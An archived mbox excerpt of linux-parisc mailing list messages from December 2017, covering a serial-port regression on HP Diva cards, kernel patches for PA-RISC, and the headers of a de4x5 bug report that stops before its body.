> 
> Can you elaborate what you imply here?

The PCI card is a HP "Diva" card, which is basically a server 
remote management board (like HP iLO). 

With "non-existant serial port" I was referring to those few ports
on the Diva card with which one can communicate directly via a proprietary
protocol with the management card.

In older kernels (before your patch) those ports showed up as serial
ports (although they were of no use for the Linux serial driver).
With v4.14 those ports don't show up as ttyS device any longer.  
 
>>>> 4.13:
>>>> [   28.882849] Serial: 8250/16550 driver, 4 ports, IRQ sharing
>>>> enabled
>>>> [   28.898720] 0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq
>>>> = 73, base_baud = 115200) is a 16450
>>>> [   28.934669] 0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq
>>>> = 73, base_baud = 115200) is a 16550A
>>>> [   28.963031] 0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq
>>>> = 73, base_baud = 115200) is a 16550A
>>>> [   28.984946] 0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq
>>>> = 73, base_baud = 115200) is a 16550A
> 
> From here it looks like multi-function PCI device with two functions
> with 1 + 3 serial ports each.
> 
>>>> ...but for v4.14.x only the following serial ports are detected:
>>>> [   28.671984] Serial: 8250/16550 driver, 4 ports, IRQ sharing
>>>> enabled
>>>> [   28.708902] 0000:e0:01.1: ttyS0 at MMIO 0xfffffffff4050000 (irq
>>>> = 73, base_baud = 115200) is a 16550A
>>>> [   28.731145] 0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050010 (irq
>>>> = 73, base_baud = 115200) is a 16550A
> 
> I'm quite curious how ttyS0 and ttyS3 in previous run (old kernel)
> appear.
> 
>>>>
>>>>
>>>> Maybe reverting this commit brings back the old behavior:
>>>> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
>>>> /commit/?id=7d8905d064058f4b65057e0101588f362f288bc0
>>>
>>> I'm unsure about this commit, it speaks more of avoiding duplicate
>>> messages
>>> for device enabling.
> 
> No, it's about trying IRQs twice, though it might be not fully clear
> from commit message: the example there shows that IRQs are probed twice
> and on some platforms it may be a problem.
> 
>>
>> Reverting this commit:
>>
>> commit 7d8905d064058f4b65057e0101588f362f288bc0
>> Author: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
>> Date:   Mon Jul 24 20:28:32 2017 +0300
>>
>>     serial: 8250_pci: Enable device after we check black list
>>
>> indeed fixes the problem.
>>
>> After reverting, the serial port from the Diva card shows up as ttyS0
>> (as before).
> 
>> With that patch applied, the serial port from the Diva card gets
>> ignored and the previous ttyS1 port becomes ttyS0 which then breaks
>> booting the parisc machine because the kernel expects the serial port
>> on
>> ttyS1.
> 
>> I'm not sure what the best way forward is.
>> Fact is, that the patch above changes the behaviour and serial ports
>> which were existant before suddenly vanish with kernel 4.14.
> 
> As stated in the commit message there "We can do this since PCI
> specification requires class, device and vendor ID registers to be
> always present in the configuration space."

That's OK.

> So, my understanding that the patch reveals the issue with these ports.

Your patch indirectly changes the behavior.

You check with serial_pci_is_class_communication(dev) if this serial device
is of class SERIAL or MODEM.
If it isn't you exit pciserial_init_one() and don't register the device.

Before your patch this check was inside the function serial_pci_guess_board()
and if (ent->driver_data != pbn_default) the pci serial port got registered 
and initialized *even* if it's *not* of class SERIAL or MODEM.

> (Of course, I agree this is regression and needs to be fixed ASAP)

I don't know if it's easy to fix without reverting your patch.
On the other side, your patch is correct in the sense that it avoids
registering serial ports which shouldn't be registered.
It's just that it now behaves differently and that it breaks booting
Linux on some parisc machines.
 
>> This following patch does work, and adds back the Diva serial port on
>> parisc.
> 
>> Not sure if it's acceptable though.
> 
> For me it looks like the best quick solution right now.
> 
> The proper one sounds like a specific initialization routine for these
> ports.
> 
> Send it as a formal patch and you may add
> 
> Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>

Thanks for the offer to accept this patch, but maybe we are able
to come up with another patch which simply hides those unsupported
devices (serial port and ATI graphics card device on the Diva card).
I posted a proposed patch here:
http://www.spinics.net/lists/linux-parisc/msg08187.html

But I wonder if we are the only platform which notice this different
behavior now. I assume others will notice it soon too.

> P.S. Sorry, we have no parisc hardware around to test.

No problem.

Thanks!
Helge
 
>>
>> Helge
>>
>> diff --git a/drivers/tty/serial/8250/8250_pci.c
>> b/drivers/tty/serial/8250/8250_pci.c
>> index 0c101a7470b0..61319e968e8c 100644
>> --- a/drivers/tty/serial/8250/8250_pci.c
>> +++ b/drivers/tty/serial/8250/8250_pci.c
>> @@ -3393,6 +3393,10 @@ static int
>> serial_pci_is_class_communication(struct pci_dev *dev)
>>  	 * (Should we try to make guesses for multiport serial
>> devices
>>  	 * later?)
>>  	 */
>> +	if (IS_ENABLED(CONFIG_PARISC) &&
>> +	    (dev->class >> 8) == PCI_CLASS_COMMUNICATION_OTHER)
>> +		return 0;
>> +
>>  	if ((((dev->class >> 8) != PCI_CLASS_COMMUNICATION_SERIAL) &&
>>  	     ((dev->class >> 8) != PCI_CLASS_COMMUNICATION_MODEM)) ||
>>  	    (dev->class & 0xff) > 6)
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Align os_hpmc_size on word boundry
Date: Tue, 12 Dec 2017 21:25:41 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20171212202541.GA12709@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1513110351 18426 195.159.176.226 (12 Dec 2017 20:25:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Dec 2017 20:25:51 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 12 21:25:47 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eOr7a-0005kU-09
	for glpp-linux-parisc@m.gmane.org; Tue, 12 Dec 2017 21:25:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752302AbdLLUZx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 12 Dec 2017 15:25:53 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:56548 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752228AbdLLUZw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 12 Dec 2017 15:25:52 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.240]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0McluX-1egnTl0sgz-00HsPd; Tue, 12
 Dec 2017 21:25:44 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:4g/wQbVa4afNopuEHYf0+tqIOEaMhx1LRa8IpqRraVRSfaeKCT4
 YV0z8wH3MXlmmO3Rw3qvK/mrUj+OhhztDkFsn7RerlU/Qj/FG43YG2oS4y/jjMpeuVIRIFv
 4l0REJnZYfL7d2zuNwZTtKOBv+Jlpd9dV3yDSDo6BtgnVOVxrCQBpDwE87S5g60zx+uGRWK
 5dw4mENcQaw6/LSKUpL8w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:kRUFxYM68VM=:mQkSGP0o3OG9jRLWjRqg1+
 BWuMAbvTdVUx6CjOfeWDoB9KpEX5gtnXZwdMMcSG4HAMgkF30UklQMxXSwFzpZAiZDsKLKQJ4
 n9fR4HN1+gJ5GDeFPIWFwyJFplRZSetnHQr4cDwe+E/t1w4S2pYDUHoVe2byb7RrIpGTcmT9s
 PD0QuIFFiQep0lqjBonuk3WXObIp7tqY45vwr45tkpxeS3otqDK4c4b3EGRZxDLqCf9q675r1
 zcNkqFEJd8NPITdeYQY9OuTstQSmgJEtE8kqES9KlFOypVt3HNb6tKG12uyAkUTEVpommj0od
 4oWALD8np85qOgzBRtySKmK+wQRvMoEPV2KkIoDqALDz4evLH8IJKoixfFJMLh9P/sV32uMcc
 WtS7KZpRvv+Dj4TGnxzVVbYK2iF2V/IGfBjWCKsTLstTFlNoPN1ppdiAtEYRbEBomvu/LOvSi
 gYJPRWnjqPweR+Rz2zSjuk3+3fb352Gsccu9R/J3mRAJwFiC8TGAZerlDzyUlsXwwQ1s3tsdX
 wqT+UCA5lQICacErfF5q3gCizEyRo0nLQiLrxBb1bumgT4lGVIJeigO9K6BDLr2BBahBEkl+o
 IBC+LAkwb/y2NCSADpAvC9H8MVr0owPujENo2LMB2CaIor4GNC/wPCFegQyHtjHjWl7rd47ZG
 ocaTRw7IynAf7O2rixpGhAqNWA/59Naufo52KE/rNL8GARoQMwcYFBdnvvszyqfdxYvAliy1x
 N/jS64IpzU3dTkx1wot6cUIhMlIitdtabOl3jE2QNkafKoWNEm+236phJaWN16MDFeTkssrq 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28053
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28053>

The os_hpmc_size variable sometimes wasn't aligned at word boundry and
thus triggered the unaligned fault handler at startup. Fix it by
aligning it properly.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
index e3a8e5e4d5de..8d072c44f300 100644
--- a/arch/parisc/kernel/hpmc.S
+++ b/arch/parisc/kernel/hpmc.S
@@ -305,6 +305,7 @@ ENDPROC_CFI(os_hpmc)
 
 
 	__INITRODATA
+	.align 4
 	.export os_hpmc_size
 os_hpmc_size:
 	.word .os_hpmc_end-.os_hpmc
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix indenting in puts()
Date: Tue, 12 Dec 2017 21:32:16 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20171212203216.GA13832@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1513110753 22519 195.159.176.226 (12 Dec 2017 20:32:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Dec 2017 20:32:33 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Dan Carpenter <dan.carpenter@oracle.com>
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 12 21:32:28 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eOrE1-0005Su-Ge
	for glpp-linux-parisc@m.gmane.org; Tue, 12 Dec 2017 21:32:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751949AbdLLUcc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 12 Dec 2017 15:32:32 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:62624 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751281AbdLLUcb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 12 Dec 2017 15:32:31 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.240]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MarNa-1ejGgq3kB0-00KQlB; Tue, 12
 Dec 2017 21:32:18 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:KoqedtkEq2dvcRjQTEGvICFAkS/7VJSrI13fn7ws9+VErfKAnQS
 5Ku9irEYDPwOnkEB3x9pEUSem8QUKSmEwQb59j6i7rXSaLbi7NYipF2MvMiFfpNxunggab2
 /9q9mSIT61pwqvIFSeiCNw3LoBQvB0pO9XfOEQZNY/QSIxJaXimMtM60cm7ETIEsG8T1l1/
 uDHp9kRi0n3bh+S65qBpA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:UqeNYsLfQhQ=:cc5w1zIAH0yx9npcMzK58/
 XGxfa+njhbGFpZ+9e+gweiasfoRqnIuPeDMCHbHdwSCh4ukwK6DPgyOqs3+Dc8euawj1JAdMQ
 zfSZuPDFhGvsFFAZNZ/kPB+TJ5oGxx1doYaXrJ7MDeiddYtE7pehQlFS08BEasg+Htzq4lxQv
 bxdzwURemxGuY9LSY2Rie9DWIancwJm329RtU+BM6SFaAjOaSZSzSHQ5vqnh8luPp7ORypdSe
 sBA17OBiRk905/GfsL05qnyeAL/SkrzhJ7HaonfB7Q6BDUp559cdPVnC4j0OM6ZMjS1g5jKsB
 1QRLC06u/AoO+GtwbsVzVgRC24wy1adIPXOPoxHev1HRqJPyWikOnz2usJ+k+R+iB67wA6N9H
 /dsYYYtUOJx2MUZIYcJxNiu0XuKPak1fXsoh2V/JARSsT6T174NHLLt7RXzE+QYYod5WSXBRY
 NIQDQGvtfyJ7Jbf1Kdjp43vx7s+0udFyAgHnkdjB3bL73n1blF+j0tKVGU2k4STlIRyh9RZjO
 vBToiituodVezJATdOqvYNSsBqsTfZ699hwAH1S+Lotr9rVqH9WDWML2b6u9dVDuGqhDWMzSd
 aYwRe7A6avtsbraty4VQ+QUxB1/XG7nztmO+nFVBG0p5MhYKBmudJF5dj6XfopA+LdRnq4YzG
 u89YCasUDfluGstKdyHg5Izbd25s6bRuJk/iVKcdYsgRYlS4giFmbjBtkGop/WNhx/ouMpifr
 ZPx22tkLhvGqHIxBinOjS4NBtVK6SBQwGgQZ6B5dd5kE+dUmLwKD2PWi614X+zqgqlCpbOEu 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28054
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28054>

Static analysis tools complain that we intended to have curly braces
around this indent block. In this case this assumption is wrong, so fix
the indenting.

Fixes: 2f3c7b8137ef ("parisc: Add core code for self-extracting kernel")
Reported-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/boot/compressed/misc.c b/arch/parisc/boot/compressed/misc.c
index 9345b44b86f0..f57118e1f6b4 100644
--- a/arch/parisc/boot/compressed/misc.c
+++ b/arch/parisc/boot/compressed/misc.c
@@ -123,8 +123,8 @@ int puts(const char *s)
 	while ((nuline = strchr(s, '\n')) != NULL) {
 		if (nuline != s)
 			pdc_iodc_print(s, nuline - s);
-			pdc_iodc_print("\r\n", 2);
-			s = nuline + 1;
+		pdc_iodc_print("\r\n", 2);
+		s = nuline + 1;
 	}
 	if (*s != '\0')
 		pdc_iodc_print(s, strlen(s));
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Have my PA8800 back online...
Date: Tue, 12 Dec 2017 21:52:26 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20171212205226.GA22082@ls3530.fritz.box>
References: <cc22ee64-e9f3-aeb4-a9a0-a503f20f9634@web.de>
 <48320506-f7fa-822b-fb45-40eab1dbda02@bell.net>
 <17707adb-4f71-1d66-2a19-3cdfaff047f3@gmx.de>
 <53815372-58e8-70e2-bab4-1777e848cf5e@web.de>
 <79c110ec-2975-a827-4b9d-1351ab77779b@gmx.de>
 <d3c1e035-6486-c0b5-e87a-22d26c0c95f5@bell.net>
 <ccca0165-6c4a-97f3-2e0b-00657948c775@gmx.de>
 <897B27DE-04A1-4906-8DF2-C037393139C3@bell.net>
 <c7d0ee9d-0926-09a7-3a6d-22daf0c05a32@gmx.de>
 <c02fe6c5-9564-21ab-3012-a0a5d0509fc4@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1513111959 441 195.159.176.226 (12 Dec 2017 20:52:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Dec 2017 20:52:39 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Frank Scheiner <frank.scheiner@web.de>,
        debian-hppa@lists.debian.org
To: John David Anglin <dave.anglin@bell.net>,
        linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 12 21:52:35 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eOrXX-0005wI-1H
	for glpp-linux-parisc@m.gmane.org; Tue, 12 Dec 2017 21:52:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752330AbdLLUwl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 12 Dec 2017 15:52:41 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:58360 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752259AbdLLUwl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 12 Dec 2017 15:52:41 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.240]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M5cpk-1fDYNr1Ptg-00xdut; Tue, 12
 Dec 2017 21:52:31 +0100
Content-Disposition: inline
In-Reply-To: <c02fe6c5-9564-21ab-3012-a0a5d0509fc4@bell.net>
X-Provags-ID: V03:K0:2/6uXereYYbqr+ZFXtpAnZj1iOz+ahYAEatbyroplbQvaaclbQl
 aVr1Ho7fPF87/JzkgxBmt8QgDDob5IABW2mArxYhUQXJ4MPaAjuXkyqLFudYISXUq2N0xtn
 ishfSn7OvGBMFNbOValt9GoRSNxK6AFftjkN0QJzOUGhpsLBdde1wjXkaPQK3Quz9OiEh8B
 F/MuO/ucwj126F6t3izNg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:/g/ZM1x2stE=:V0EQULF9h75pEBHDnTzdwG
 FeEbuobmdKgNLzjOANmXIjuwm9MaoiX2tFdqFEhswoNiDo75ry/hmDHrf4PFfcesPmudmq8xn
 u0l+jskKUxcedlM/h4AYJ+5oSNgxDrgHuA7rbhTOzNAArTZcavBNqKmN4tdAOdbo0wXzI0bzy
 2ydTSggkqs1CV4P0ZSqVHF0pQ0nugqWbdVKfy/BX5pVWhMdrKbJ2yCa5411RrSiWzXNmLdh1+
 jPV/v8q8tGMXRqG2d3CBABUqxPqs8rDQlbT644jCs3h7RWDzqGMyzcn+NklvJezzIDyafLfd2
 U6kRQk87xKvxywZveMJuG8TVzl5yBrGNlBkczS5d87GhamPmbG3OHiQkPWkq96nLLWi6uFvat
 b15NnUCOFlDcOk/UzGoL94mc8RDHQ00pj9Ffn1gVMJiejPcXFa8HKKQxO/86ULDSv3zaiebEc
 /XpjL7l8LBXV7WN/pR1g+NiSpKCxE/qzwrt8sJyd+mLa8N3+D+DIMaciDGWyXWMec/zOL9bOt
 eMkqZgRJ8Tc4jOtcaFalgV0BJvVwfMIJxh9s0BxTEhJkeQby49h7rn8GAqGLUxX/Uz2Ltn4V2
 Wk9xU4bPysAYqdKkmCoAzVBO6b/04hgWg+xWA/v2B+l3mCxEb0Qiav1MvGQW0roYAFFDj49E/
 wLy4wJXXlIT/CmcYRgvIhqNLoqvVCXGoLkPShNUyiApxVzL1LMCo4dKIj4HUMfkVYev3GpZi7
 5VpI44h69mwsFUghelNLzsFiJcTzcd0tApz+EdhpYKRFmpeyl1ETbcb+UizANK0cCaOHEj+K 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28055 gmane.linux.debian.ports.hppa:7658
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28055>

* John David Anglin <dave.anglin@bell.net>:
> On 2017-12-11 9:46 AM, Helge Deller wrote:
> > Strange. The attached patch does work for me on panama up until boot.
> > Haven't tested what lspci reports afterwards...

> Yes, it also works for me applied to v4.13.16. ttyS1 is now ttyS0.

Good.

> Haven't tried boot without console argument yet.
> lspci still sees the hidden devices which I think is good.

Agreed.

> I removed period from one of the dev_info strings. We probably don't need
> printk's that I added.

Yes, I dropped them.
Here is an updated patch for patchwork:

_________

Hide serial AUX and ATI functions on Diva GSP card

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index a25fed52f7e9..55fb30057d5e 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1692,3 +1692,37 @@ void lba_set_iregs(struct parisc_device *lba, u32 ibase, u32 imask)
 	iounmap(base_addr);
 }
 
+
+/*
+ * The design of the Diva management card in rp34x0 machines (rp3410, rp3440)
+ * seems rushed, so that many built-in components simply don't work.
+ * The following quirks disable the serial AUX port and the built-in ATI RV100
+ * Radeon 7000 graphics card which both don't have any external connectors and
+ * thus are useless, and even worse, e.g. the AUX port occupies ttyS0 and as
+ * such makes those machines the only PARISC machines on which we can't use
+ * ttyS0 as boot console.
+ */
+static void quirk_diva_ati_card(struct pci_dev *dev)
+{
+	if (dev->subsystem_vendor != PCI_VENDOR_ID_HP ||
+	    dev->subsystem_device != 0x1292)
+		return;
+
+	dev_info(&dev->dev, "Hiding Diva built-in ATI card");
+	dev->device = 0;
+}
+DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_ATI, PCI_DEVICE_ID_ATI_RADEON_QY,
+	quirk_diva_ati_card);
+
+static void quirk_diva_aux_disable(struct pci_dev *dev)
+{
+	if (dev->subsystem_vendor != PCI_VENDOR_ID_HP ||
+	    dev->subsystem_device != 0x1291)
+		return;
+
+	dev_info(&dev->dev, "Hiding Diva built-in AUX serial device");
+	dev->device = 0;
+}
+DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_DIVA_AUX,
+	quirk_diva_aux_disable);
+
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jia-Ju Bai <baijiaju1990@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: [BUG] tulip/de4x5: a possible sleep-in-atomic bug in de4x5_interrupt
Date: Wed, 13 Dec 2017 18:13:53 +0800
Lines: 14
Approved: news@gmane.org
Message-ID: <e7489930-b0dd-ff89-a0a6-6fba5a41af5e@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1513160052 14516 195.159.176.226 (13 Dec 2017 10:14:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 13 Dec 2017 10:14:12 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.0
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: davem@davemloft.net,
        Stephen Hemminger <stephen@networkplumber.org>,
        keescook@chromium.org, dhowells@redhat.com, allen.lkml@gmail.com,
        johannes.berg@intel.com, arvind.yadav.cs@gmail.com
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 13 11:14:08 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eP43D-0003ct-PF
	for glk-linux-kernel-3@m.gmane.org; Wed, 13 Dec 2017 11:14:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752470AbdLMKOL (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 13 Dec 2017 05:14:11 -0500
Original-Received: from mail-it0-f68.google.com ([209.85.214.68]:43014 "EHLO
        mail-it0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751508AbdLMKOJ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 13 Dec 2017 05:14:09 -0500
Original-Received: by mail-it0-f68.google.com with SMTP id u62so3222599ita.2;
        Wed, 13 Dec 2017 02:14:08 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=to:cc:from:subject:message-id:date:user-agent:mime-version
         :content-transfer-encoding:content-language;
        bh=wOsvPlZvPPvhbtefwx2qU8deU6kWWiJNV9fIFYpEi0I=;
        b=RXWbvvAA/h8mE6Qre3xmGpMWBAc1Xq7HSqS3wyazmdGgYOLtr3tW+p+e3HIuV1TPcr
         HiyotH0SxaQs0Ga5lUKyvynPrk0OXUfZfkrECpJ4L+7QJfL5LH1h0usVbwWb91jb1exP
         68ZzmlOkdh3CuoV7I11gMGisH64kM13vioD3oL57AOpxUcHaL31O1tasjMedHVMxwAGb
         lWsHu3WQsXXO6TAoaxqVwgOpyJyXEd2anZ+Fk8KXLmjFGjUSAXX5PFIdHn+evmkyaAtW
         FMtfFZ/imDzMzUeA5MOMMiRdyWBEbVlDdFUQCcifwXuIQw0n/y6r+uaWKlNXpnKeVJTj
         OUgA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:to:cc:from:subject:message-id:date:user-agent
         :mime-version:content-transfer-encoding:content-language;
        bh=wOsvPlZvPPvhbtefwx2qU8deU6kWWiJNV9fIFYpEi0I=;
        b=GjzHuCyR7+HOk3736lvjWbkcSLM0itfeukDL57BdjaEuKZlwPeKsGZq52a3vXAZEKH
         FNBzBMpf6RKmsHfiZISfq8NT7maayGFb3VwwwhzdnNFvLNCOq8r/8V1tiCUJsI0xUUCO
         YQ7OmyQNCI+3upqRNLF3wc/bUjRMOQTqEhtKPlYkEgKAxZZh452/F1hz8J7vOA52ur63
         yXz1AdzJdugvLHiHGQy6Qc/SCwi8vevDMbonSJlQd0blFTL23rx6KXJV0BqLdaQAzpFJ
         rIw/Oub8ZtB68YVBBEN0bbFHU3dirmlXOTGq04A40QufzyCEZpaoignzM5oP7kkpAKl/
         TIIw==
X-Gm-Message-State: AKGB3mJoVRUGjv3FTw3FcZ/s8DQO035AVSqqOyRAgkBA9Cx2cf/vmr6j
        +K9EXhu3/V3OkLzb05+yVyEY3ib9r1o=
X-Google-Smtp-Source: ACJfBovWAieki6QYfkJ1xcmZgjl/h740lfEov7NyGNZcm9fX9pxffCRiKnjbiJFG4ssc7UB2kGUKCw==
X-Received: by 10.36.170.14 with SMTP id b14mr2419936itf.13.1513160048245;
        Wed, 13 Dec 2017 02:14:08 -0800 (PST)
Original-Received: from ?IPv6:2402:f000:1:1501:200:5efe:166.111.70.3? ([2402:f000:1:1501:200:5efe:a66f:4603])
        by smtp.gmail.com with ESMTPSA id p17sm705694iod.15.2017.12.13.02.14.03
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 13 Dec 2017 02:14:07 -0800 (PST)
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
